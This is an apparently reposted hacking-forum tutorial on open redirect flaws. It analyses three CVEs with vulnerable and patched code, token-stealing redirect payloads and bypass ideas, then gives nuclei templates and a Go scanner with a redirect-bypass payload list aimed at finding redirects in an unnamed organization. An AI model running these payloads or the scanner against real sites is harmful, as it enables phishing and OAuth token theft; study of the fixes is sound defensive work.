Open Redirect

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0

Open Closed Redirect​

This article is about the vulnerability, which blackhat sells, and whitehat deletes. Why? Because it is useless to us. As you can see the vulnerability is open redirect, but in most cases it is not accepted by security platforms, because it requires user interaction, or as we say “phishing”. So I am drinking my coffee as always and someone messaged me on forum that they want to buy an open redirect for X company and the company X is big enough for vulnerabilities to be there, obviously I had to reject the offer, because it is not ethical. I try not to cross the line, I love researching and that’s kinda enough for now. Anyways, that guy gave me an idea to search for open redirects in organization Y. This is another article explaining the automation, easy and medium (another easy way) ways to do it.

Open Redirect​

Open Redirect is a vulnerability that occurs when a web application is manipulated to redirect a user to a different destination, typically an untrusted and potentially malicious external site. Open Redirect Vulnerabilities exploit the trust a user has in a given website, to transport the user to harmful locations. By trust I mean the domain, the user sees that there is a trusted link, “xss.is/?redirectUrl=xss[.]bz” - in this example case which is xss.is and when the user clicks on it, it redirects to an untrusted website, xss[.]bz. This type of vulnerability is a result of improper validation / lack of filtering in handling user-supplied URLs. When a web application accepts unvalidated input that defines the destination of a redirection hackers can substitute their own malicious URL.

Situation in our world​

Open Redirect Vulnerabilities are often overlooked even though they pose a significant threat due to their indirect nature and the ease with which attackers can exploit them. Sadly vulnerability disclosure programs pay attention to direct attack methods (SQL/XSS and etc) rather than to vulnerabilities like Content Spoofing/Open-Redirection and etc. Obviously as a result they get hacked by simple phishing attacks.

How does open redirect work?​

Open Redirect occurs when an application takes a user-supplied URL and uses it to redirect the user to a new page without proper validation. So it can be a parameter which is sent in POST request, or a parameter in URL in the GET request. If you find an open redirect in a POST request, it won’t be even looked at by the companies, obviously depending on the case, but mostly will be ignored. But in GET request, it will be at least looked at. The process is usually like this:
User Input: A user clicks on a link that is supposed to redirect them within the same service (website). This link, however, has a parameter that is user-controllable. Let’s say redirectURL parameter.
System Check: The web application fails to sanitize this input. As a result, it does not distinguish between internal and external destinations. So the value of the parameter becomes a malicious website.
Exploiting: The application executes the redirection based on the user-supplied input and the user gets redirected to a malicious website.

There are no specific kinds of open redirects, but if I had to divide them, there would be 3 kinds based on my experience.
  1. Unauthenticated Redirects: These are the redirects which don’t require any authentication. So the vulnerability is actually unauthenticated.
  2. Authenticated Redirects: As you can understand, these are the redirects that require authentication OR happen in the authentication process. Great example for this can be OAuth service which allows redirection and it can be used by hackers to steal tokens.
  3. Third-Party services: Your website may be integrated with 3rd party services which have this vulnerability or “functionality”. A good example would be URL shortener plugins, you add an url shortener plugin for your forum and attackers use it to phish your users.

CVE-2023-5375​

I will try to explain it as easy as possible, let’s before checking the code, check the exploit itself
Код: Скопировать в буфер обмена
http://127.0.0.1:8080/project/switch/1?targetPath=https://google.com
We can take note to ourselves when things get complicated, but this cases is simple as is most open redirect cases. Vulnerable parameter is “targetPath”
Vulnerable code:
Код: Скопировать в буфер обмена
Код:
// Redirect back to the originally requested path
        $targetPath = $request->query->get('targetPath', false);
        if ($targetPath) {
            return $this->redirect($targetPath);
        }

        return $this->redirectToRoute('dashboard');
    }
    protected function setActiveProject(Request $request, Project $project): bool
    {
        if (!$this->isGranted('ROLE_ADMIN') && !$project->isProjectMember($this->getUser())) {
            return false;
        }
        $request->getSession()->set('activeProjectId', $project->getId());

        return true;
    }
}
The key part of this code is:
Код: Скопировать в буфер обмена
Код:
$targetPath = $request->query->get('targetPath', false);
if ($targetPath) {
    return $this->redirect($targetPath);
}
An open redirect vulnerability occurs when a web application blindly redirects the user to a URL specified in the request without any validation. In this code, the $targetPath is directly taken from the query parameter and used in the redirect method without any validation.

Fixed version of the code:
Код: Скопировать в буфер обмена
Код:
// Redirect back to the originally requested path
        $targetPath = $request->query->get('targetPath', false);
        if ($targetPath && $this->isLocalUrl($request, $targetPath)) {
            return $this->redirect($targetPath);
        }

        return $this->redirectToRoute('dashboard');
    }
    protected function setActiveProject(Request $request, Project $project): bool
    {
        if (!$this->isGranted('ROLE_ADMIN') && !$project->isProjectMember($this->getUser())) {
            return false;
        }
        $request->getSession()->set('activeProjectId', $project->getId());

        return true;
    }

    protected function isLocalUrl(Request $request, $url): bool
    {
        // If the first character is a slash, the URL is relative (only the path) and is local
        if (str_starts_with($url, '/')) {
            return true;
        }

        // If the URL is absolute but starts with the host of mosparo, we can redirect it.
        // Add the slash to prevent a redirect when a similar top-level domain is used.
        // For example, mosparo.com should not allow a redirect to mosparo.com.au
        if (str_starts_with($url, $request->getSchemeAndHttpHost() . '/')) {
            return true;
        }

        // The URL does not match the two checks because it's an external URL; no redirect in that case.
        return false;
    }
}
This code has 2 important changes made to it:
New isLocalUrl method is designed to check whether a given URL is local to the application. This method performs two main checks, It first checks if the URL starts with a forward slash (/), indicating that it's a relative path and thus local. Second check is that it then checks if the URL is absolute, but starts with the same scheme and host as the application, ensuring that the redirect stays within the same domain. And obviously the redirect logic is changed, the targetPath is now validated using the isLocalUrl method. This ensures that the application only redirects to URLs that are either relative paths or absolute URLs belonging to the same domain.

Something from myself:
I am not a PHP developer, I analyzed with google + AI, as I understand they used $request->getSchemeAndHttpHost() method to get the scheme and host of the application. As I understand method identifies the host (domain) from the “Host” header, so if you let’s say send the request to “xss.is” with host header of “xss.bz”, it technically should result in error, but if it doesn’t, then you can abuse the method. AGAIN, I am not a developer and I don’t have much of a coding experience, so I may be wrong, but I think it is a possible way to abuse the method. Also another way to abuse this method is through payloads like this ‘/\/google.com/’, it will pass the first check for sure, but I have no idea how it will be processed further.

As I understand this case is the second kind of open redirect, Authenticated Redirect, which is exploitable AFTER the authentication.

CVE-2023-35948​

There is an open redirect vulnerability in Novu, when users try to sign in with github.
Let’s check the Github Login first:
Код: Скопировать в буфер обмена
Код:
@Get('/github/callback')
  @UseGuards(AuthGuard('github'))
  async githubCallback(@Req() request, @Res() response) {
    if (!request.user || !request.user.token) {
      return response.redirect(`${process.env.FRONT_BASE_URL + '/auth/login'}?error=AuthenticationError`);
    }

    let url = process.env.FRONT_BASE_URL + '/auth/login';
    const redirectUrl = JSON.parse(request.query.state).redirectUrl;

    /**
     * Make sure we only allow localhost redirects for CLI use and our own success route
     * https://github.com/novuhq/novu/security/code-scanning/3
     */
    if (redirectUrl && redirectUrl.startsWith('http://localhost:')) {
      url = redirectUrl;
    }

    url += `?token=${request.user.token}`;

    if (request.user.newUser) {
      url += '&newUser=true';
    }

    /**
     * partnerCode, next and configurationId are required during external partners integration
     * such as vercel integration etc
     */
    const partnerCode = JSON.parse(request.query.state).partnerCode;
    if (partnerCode) {
      url += `&code=${partnerCode}`;
    }

    const next = JSON.parse(request.query.state).next;
    if (next) {
      url += `&next=${next}`;
    }

    const configurationId = JSON.parse(request.query.state).configurationId;
    if (configurationId) {
      url += `&configurationId=${configurationId}`;
    }

    const invitationToken = JSON.parse(request.query.state).invitationToken;
    if (invitationToken) {
      url += `&invitationToken=${invitationToken}`;
    }

    return response.redirect(url);
  }
I am not gonna give analysis of the full code, because all I need right now is to understand what user sends and what it receives in response, also where (to which domain) the response comes to. Users get redirected to GitHub's OAuth login page to authenticate. After successfully logging in with GitHub, GitHub redirects the user back to the application ( /github/callback endpoint). And the request like this will be sent https://<novu_api>/v1/auth/github/callback?code={code}&state={"source":"web","redirectUrl":"http://localhost:pass/"} , as response you will get JWT token http://localhost:pass/?token=<JWT_token>. From the first look it seems secure, because attacker must somehow start redirect url with http://localhost:. But here is the vulnerable code:
Код: Скопировать в буфер обмена
Код:
if (redirectUrl && redirectUrl.startsWith('http://localhost:')) {
      url = redirectUrl;
    }
This code checks if the redirectUrl variable is defined and not null or empty. If redirectUrl is not defined or is empty, the code block inside the if statement will not execute. If redirectUrl exists and is not an empty, it checks whether it starts with the string 'http://localhost:'.
The payload used for the attack here is:
https://<novu_api>/v1/auth/github/callback?code=&state={"source":"web","redirectUrl":"http://localhost:pass@<attacker_server>/"}
So when attacker used @, instead of redirecting to the original server, it redirected to attacker’s server:
http://localhost:pass@<attacker_server>/?token=<JWT_token>
I may be wrong, but as I understand, the attacker's server in this case is the main domain and localhost:pass is used kinda as a subdomain which redirects to the main domain. Live example:
https://localhost:pass@evil.com/
When you click this link, you will be redirected to the evil.com. Why? Because the browser interprets the part after @ (evil.com) as the actual destination and redirects you there. This is a security measure to prevent phishing where a user might be tricked into thinking they are accessing a safe localhost link, while they are actually being redirected to a harmful external site. So the security measure done by the browser here becomes a threat itself, which is sooo ironic xD

Fixed code:
Код: Скопировать в буфер обмена
if (redirectUrl && redirectUrl.startsWith('http://localhost:') && !redirectUrl.includes('@')) {
Now in this code, the url must start with localhost, can’t be null and shouldn’t include ‘@’.

This is also the second kind mixed with a bit of a third kind of open redirects, in which the vulnerability is WHILE authenticating.

CVE-2023-0748​

In this case the vulnerable code is everywhere, so let’s start with one of the exploits:
https://mainnet.demo.btcpayserver.o...alse&requireConfirm=true&returnUrl=//evil.com
The vulnerable part is the “returnUrl” parameter, now let’s check how it is in code:
Код: Скопировать в буфер обмена
<a href="@Model.ReturnUrl" class="btn btn-primary btn-lg mt-3 px-5 order-3" id="proceed" rel="noreferrer noopener">Done</a>
I have absolutely no experience with C#, let the noob-ing begin. We can see that problem probably is in @Model.ReturnUrl, "Model" is the object that is being passed from the controller to the view. It contains the information that needs to be processed, which in our case is the URL. ReturnUrl is a variable within the "Model" object. It holds a value that represents a return URL, which redirects users back to a specific page. The problem here is that there is no sanitization at all.

Fixed code is this:
Код: Скопировать в буфер обмена
<a href="@Url.EnsureLocal(Model.ReturnUrl)" class="btn btn-primary btn-lg mt-3 px-5 order-3" id="proceed" rel="noreferrer noopener">Done</a>
EnsureLocal is a method provided by the Url object that ensures that a URL is a local URL. Model.ReturnUrl, refers to a variable named ReturnUrl within the Model object, as I said before. Now the question here is how the EnsureLocal method works. Here is the main code which was created to remediate this vulnerability:
Код: Скопировать в буфер обмена
Код:
public static string? EnsureLocal(this IUrlHelper helper, string? url, HttpRequest? httpRequest = null)
        {
            if (url is null || helper.IsLocalUrl(url))
                return url;
            if (httpRequest is null)
                return null;
            if (Uri.TryCreate(url, UriKind.Absolute, out var r) && r.Host.Equals(httpRequest.Host.Host))
                return url;
            return null;
        }
This code checks if url is null or if it is a local URL (using the IsLocalUrl method of IUrlHelper). If either condition is true, the method returns the url as is. IsLocalUrl checks if the URL is relative. This method checks if the url is a relative url, else returns false. Then it checks if httpRequest is null. If it is, the method returns null. httpRequest is used to compare the host of the URL against the host of the current request. After that it attempts to create a new Uri object from url. If successful, the resultant Uri object is stored in variable r. It then checks if the host of this newly created Uri (r.Host) matches the host of the current HTTP request (httpRequest.Host.Host). If they match, it returns the url, confirming that it's an absolute URL pointing to the same host as the current request.

Basically then this method is used everywhere to prevent open redirect vulnerabilities.

Organization Y​

From what we see, open redirect vulnerabilities usually can be identified through parameters like redirectUrl and etc. So let’s think about the basic automation steps:
1. Website must be scraped and values of parameters must be removed
2. Removed values must be replaced with url to which we want redirect to happen
3. Tool must check, whether redirect did happen or not, it can be done through header called “Location”

Easy way​

Easiest way to this is to use nuclei, it identifies open redirects with ease and there are a lot of plugins for CVEs that have open redirects within them, so using it is actually the easiest way to identify these vulnerabilities. Let’s check out some plugins:
Sap Redirect:
Код: Скопировать в буфер обмена
Код:
http:
  - method: GET
    path:
      - "{{BaseURL}}/sap/public/bc/icf/logoff?redirecturl=https://interact.sh"
Код: Скопировать в буфер обмена
Код:
matchers:
      - type: status
        status:
          - 302

      - type: word
        words:
          - "Location: https://www.interact.sh"
          - "Location: https://interact.sh"
So it basically appents ‘/sap/public/bc/icf/logoff?redirecturl=https://interact.sh’ this to url and checks header, as we wrote above. Here is another plugin for CVE-2022-0087:
Код: Скопировать в буфер обмена
Код:
- method: GET
    path:
      - "{{BaseURL}}/signin?from=https://interact.sh"
      - "{{BaseURL}}/signin?from=javascript:alert(document.cookie)"
Код: Скопировать в буфер обмена
Код:
matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Location: https://interact.sh"

      - type: word
        part: body
        words:
          - "alert(document.cookie)"
Here there are 2 vulnerabilities, XSS and Open redirect, checking logic is the same. So using nuclei isn't a bad option.

Another easy way​

Nuclei scans for ready plugins, which is bad if you are planning to use nuclei on some product where you aim to find 0day. I prefer you to use scraper, which will get all parameters needed and then use those parameters to check for open redirect vulnerabilities. You can use burp pro’s crawler or any other open source tool like bablo which is in contest. Usage of these tools are simple and have the same purpose, to crawl. After that you can write a tool which will replace parameters with some url and check whether the redirect goes to that url through the header.
Код: Скопировать в буфер обмена
Код:
package main

import (
    "crypto/tls"
    "flag"
    "fmt"
    "net/http"
    "net/url"
    "strings"
    "sync"
)

func main() {
    fmt.Println("Made with lyubofff by GrozdniyAndy of XSS.is")
    flag.Parse()

    inputURL := flag.Arg(0)
    if inputURL == "" {
        fmt.Println("Please provide a URL")
        return
    }

    replacements := []string{
        "interact.sh", "@interact.sh", "http://interact.sh", "https://interact.sh",
        ".interact.sh", "/interact.sh", "/.interact.sh", `\/interact.sh`, `\/.interact.sh`,
        `\/\/.interact.sh`, `\/\/interact.sh`, `/\/interact.sh`, `/\/.interact.sh`,
        ";interact.sh", ";.interact.sh", "/http://interact.sh", "/https://interact.sh",
        "http://;@interact.sh", "https://;@interact.sh",
    }

    if !strings.HasPrefix(inputURL, "http://") && !strings.HasPrefix(inputURL, "https://") {
        var wg sync.WaitGroup
        wg.Add(2)
        go processInputURL("http://"+inputURL, replacements, &wg)
        go processInputURL("https://"+inputURL, replacements, &wg)
        wg.Wait()
    } else {
        processInputURL(inputURL, replacements, nil)
    }
}

func processInputURL(inputURL string, replacements []string, wg *sync.WaitGroup) {
    if wg != nil {
        defer wg.Done()
    }

    httpClient := &http.Client{
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return http.ErrUseLastResponse
        },
    }

    if strings.HasPrefix(inputURL, "https://") {
        httpClient.Transport = &http.Transport{
            TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        }
    }

    parsedURL, err := url.Parse(inputURL)
    if err != nil {
        fmt.Printf("Error parsing URL: %v\n", err)
        return
    }

    query := parsedURL.Query()
    for key, originalValues := range query {
        for _, originalValue := range originalValues {
            for _, replacement := range replacements {
                query.Set(key, replacement)
                testURL := *parsedURL
                testURL.RawQuery = query.Encode()
                testRedirect(testURL.String(), httpClient, key, originalValue, replacement)
            }
            query.Set(key, originalValue)
        }
    }
}

func testRedirect(testURL string, httpClient *http.Client, key, originalValue, replacement string) {
    resp, err := httpClient.Get(testURL)
    if err != nil {
        fmt.Printf("Error making HTTP request to '%s': %v\n", testURL, err)
        return
    }
    defer resp.Body.Close()

    if resp.StatusCode >= 300 && resp.StatusCode < 400 {
        location, err := resp.Location()
        if err == nil && strings.Contains(location.Host, "interact.sh") {
            fmt.Printf("Success: '%s' - Parameter '%s' with original value '%s' replaced with '%s' redirected to 'interact.sh'\n", testURL, key, originalValue, replacement)
        } else {
            fmt.Printf("Fail: '%s' - Parameter '%s' with original value '%s' replaced with '%s' did not redirect to 'interact.sh'\n", testURL, key, originalValue, replacement)
        }
    } else {
        fmt.Printf("No redirect: '%s' - Parameter '%s' with original value '%s' replaced with '%s'\n", testURL, key, originalValue, replacement)
    }
}
So what this code does. It checks if you gave it a web address (URL) to work with. If you haven't provided a URL, it asks for one and stops. There's a list of payloads for open redirect, all related to "interact.sh". Then it will use these payloads to modify the URL. The main part of the code takes the URL you give and the list of replacements to start its work. It sets up a way to handle web requests, making sure it can handle redirects (when a web address takes you to a different one) and secure connections (https - it won’t verify SSL certificate, so it won’t matter whether website certificate have expired or not). If your URL doesn't start with "http://" or "https://", the tool adds "http://" and “https://”. The code then looks at each parameter and replaces each parameter value with each of the payloads from the list one by one and tests the new URL it creates. For each modified URL, the tool checks what happens when it tries to access it. It's particularly looking to see if the website redirects the request to a site containing "interact.sh".

1703855286805.png


Image [1]​

Автор grozdniyandy

Источник https://xss.is/

 
Сверху Снизу